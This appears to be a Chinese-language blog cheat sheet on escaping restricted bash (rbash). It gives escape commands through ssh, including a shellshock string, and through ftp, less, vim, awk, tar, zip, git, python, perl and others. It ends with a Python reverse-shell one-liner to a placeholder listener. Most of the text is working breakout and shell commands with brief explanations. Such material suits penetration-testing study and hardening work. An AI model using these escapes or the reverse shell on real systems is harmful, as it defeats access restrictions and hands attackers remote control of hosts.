参考文章
https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fb8KEoxoGbReD
https://www.freebuf.com/vuls/376922.html
RBASH
是 Restricted BASH 的缩写,意思是受限制的 BASH。RBASH
是一种特殊的 shell,它限制了用户的一些操作和权限,例如:cd
命令来改变当前目录。set
命令来改变环境变量或 shell 选项。unset
命令来取消环境变量或 shell 函数。/
符号的命令,除非它们在 PATH 环境变量中指定了。重定向
输入或输出,例如使用 >, <, >>, << 等符号。这里的原理涉及到su 和 su- 的区别:
su
命令,只会更改当前用户,而不会更改当前的用户环境,比如你从oracle 用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是oracle用户的su-
命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从oracle 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了su -l tw
su - tw
su --login tw
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" ###shellshock
这个方法的原理是:ssh 命令是一个用于远程登录和执行命令的工具。其中,-t 选项表示为远程命令分配一个伪终端(pseudo-terminal),ProxyCommand 选项表示使用一个代理程序来连接远程主机。因此,如果用户使用 -t 选项或 ProxyCommand 选项来执行 /bin/bash 或 /bin/sh,并指定 localhost 作为远程主机,就可以运行 bash 或 sh,并在本地显示它们的输出和交互界面,从而绕过 RBASH 的限制。
这个方法的优点是:比较巧妙,不需要复制或修改 bash 或 sh,也不需要使用其他的命令或工具,只要有 ssh 命令就可以。
这个方法的缺点是:需要使用 ssh 命令,如果 RBASH 禁止使用 ssh 命令,或者限制它的选项或参数,就无法使用这个方法。
/
被允许的情况下;直接 /bin/sh 或 /bin/bashexport PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh
权限足够时
cp /bin/sh /path/ ;sh
或
cp /bin/bash /path/ ;sh
scp -S /path/yourscript x y:
如果 RBASH 允许使用 cp 命令,那么用户可以把 /bin/bash 或 /bin/sh 复制到自己的目录下,然后运行它们。例如:
rbash$ cp /bin/bash .
rbash$ ./bash
这个方法的原理是:RBASH 只限制了 PATH 环境变量中指定的命令,而不限制用户自己的目录下的命令。因此,如果用户把 bash 或 sh 复制到自己的目录下,就可以运行它们,从而绕过 RBASH 的限制。
这个方法的优点是:比较灵活,不需要知道 bash 或 sh 的绝对路径,只要能够复制它们就可以。
这个方法的缺点是:需要使用 cp 命令,如果 RBASH 禁止使用 cp 命令,或者限制用户的目录权限,就无法使用这个方法。
rbash$ ftp
ftp> !/bin/bash
bash$ whoami
这个方法的原理是:这些命令都有一个交互模式,可以让用户输入一些子命令或选项来控制它们的行为。其中,! 是一个特殊的子命令,表示执行一个外部命令,而不是这些命令本身的功能。因此,如果用户输入 !/bin/bash 或 !/bin/sh,就可以执行 bash 或 sh,从而绕过 RBASH 的限制。
这个方法的优点是:比较隐蔽,不容易被 RBASH 发现和阻止,因为这些命令本身都是合法的,而且 ! 子命令不会在历史记录中显示。
这个方法的缺点是:需要使用这些命令中的一个,如果 RBASH 禁止使用这些命令,或者修改它们的行为或选项,就无法使用这个方法。
除了 ftp 命令之外,其他几种命令也可以用类似的方式来绕过 RBASH。以下是一些操作实例:
rbash$ gdb -q
(gdb) !/bin/bash
rbash$ more /etc/passwd
!/bin/bash
rbash$ man man
!/bin/bash
rbash$ less /etc/passwd
!/bin/bash
rbash$ vim -Z -c ':!/bin/bash'
rvim - 命令是用来启动一个受限制的 vim 编辑器的。其中,- 选项表示从标准输入读取文本,-Z 选项表示启动受限制的模式,-c 选项表示执行一个 vim 命令。因此,如果用户输入 rvim - -Z -c ‘:!/bin/bash’,就可以在 vim 的命令模式下使用 :!/bin/bash 来执行一个外部命令,从而绕过 RBASH 的限制。例如:
rbash$ rvim - -Z -c ':!/bin/bash'
rbash$ vi
:set shell=/bin/bash
:shell
这个方法的原理是:vi 命令是一个经典的文本编辑器。其中,:set 命令表示设置一个选项的值,:shell 命令表示执行一个 shell。默认情况下,vi 会使用 RBASH 作为 shell,但是用户可以通过 :set shell=/bin/bash 来修改 shell 的值为 /bin/bash。因此,如果用户使用 :shell 命令,就可以运行 bash,从而绕过 RBASH 的限制。
这个方法的优点是:比较简单,不需要复制或修改 bash,也不需要使用其他的命令或工具,只要有 vi 命令就可以。
这个方法的缺点是:需要使用 vi 命令,如果 RBASH 禁止使用 vi 命令,或者限制它的选项或参数,就无法使用这个方法。
awk 'BEGIN {system("/bin/sh")}'
或
awk 'BEGIN {system("/bin/bash")}'
这个方法的原理是:这些编程语言或工具都有一些函数或方法,可以让用户在它们的环境中执行一个系统命令,并返回它的输出或状态。例如,awk 中的 system 函数,python 中的 os.system 函数,php 中的 shell_exec 函数等。因此,如果用户使用这些函数或方法来执行 /bin/bash 或 /bin/sh,就可以运行 bash 或 sh,从而绕过 RBASH 的限制。
这个方法的优点是:比较灵活,可以使用不同的编程语言或工具来实现相同的效果,只要 RBASH 允许使用它们就可以。
这个方法的缺点是:需要一定的编程知识和技巧,如果 RBASH 禁止使用这些编程语言或工具,或者限制它们的功能或参数,就无法使用这个方法。
rbash$ pico -s /bin/bash
bash$ whoami
tom
bash$ pwd
/home/tom
bash$ cd /
bash$ pwd
/
这个方法的原理是:pico 命令是一个简单的文本编辑器。其中,-s 选项表示指定一个拼写检查程序来检查文档中的拼写错误。默认情况下,pico 会使用 spell 命令作为拼写检查程序,而 spell 命令是可以用来绕过 RBASH 的一个命令。因此,如果用户使用 -s 选项来指定 /bin/bash 或 /bin/sh 作为拼写检查程序,并打开一个空白的文档,就可以运行 bash 或 sh,并在本地显示它们的输出和交互界面,从而绕过 RBASH 的限制。
这个方法的优点是:比较巧妙,不需要复制或修改 bash 或 sh,也不需要使用其他的命令或工具,只要有 pico 命令就可以。
这个方法的缺点是:需要使用 pico 命令,如果 RBASH 禁止使用 pico 命令,或者修改它的拼写检查程序或选项,就无法使用这个方法。
ed
!'/bin/sh'
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
git help status
!/bin/bash
这个方法的原理是:git 命令是一个用于版本控制和协作开发的工具。其中,help 子命令表示显示 git 的帮助信息,它会调用一个指定的帮助查看器来显示文档。默认情况下,git 会使用 less 命令作为帮助查看器,而 less 命令是可以用来绕过 RBASH 的一个命令。因此,如果用户使用 git help config 来显示 git config 的帮助信息,就可以在 less 的交互模式下使用 !/bin/bash 或 !/bin/sh 来执行一个外部命令,从而绕过 RBASH 的限制。
这个方法的优点是:比较隐蔽,不容易被 RBASH 发现和阻止,因为 git help config 看起来是一个合法的命令,而且 ! 子命令不会在历史记录中显示。
这个方法的缺点是:需要使用 git 命令,如果 RBASH 禁止使用 git 命令,或者修改它的帮助查看器或文档,就无法使用这个方法。
python -c 'import os; os.system("/bin/sh")'
php -a then exec("sh -i");
perl -e 'exec "/bin/sh";'
os.execute('/bin/sh')
exec "/bin/sh"
spwan sh
sh
echo $PATH ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ####修复
echo 'script code' | tee scriptfile
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" tw
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用的比较多的是 !/bin/sh
和 !/bin/bash
;其实还有一个 !'sh'
--->由于没有了 '/'
;有时候能够达到很好的绕过效果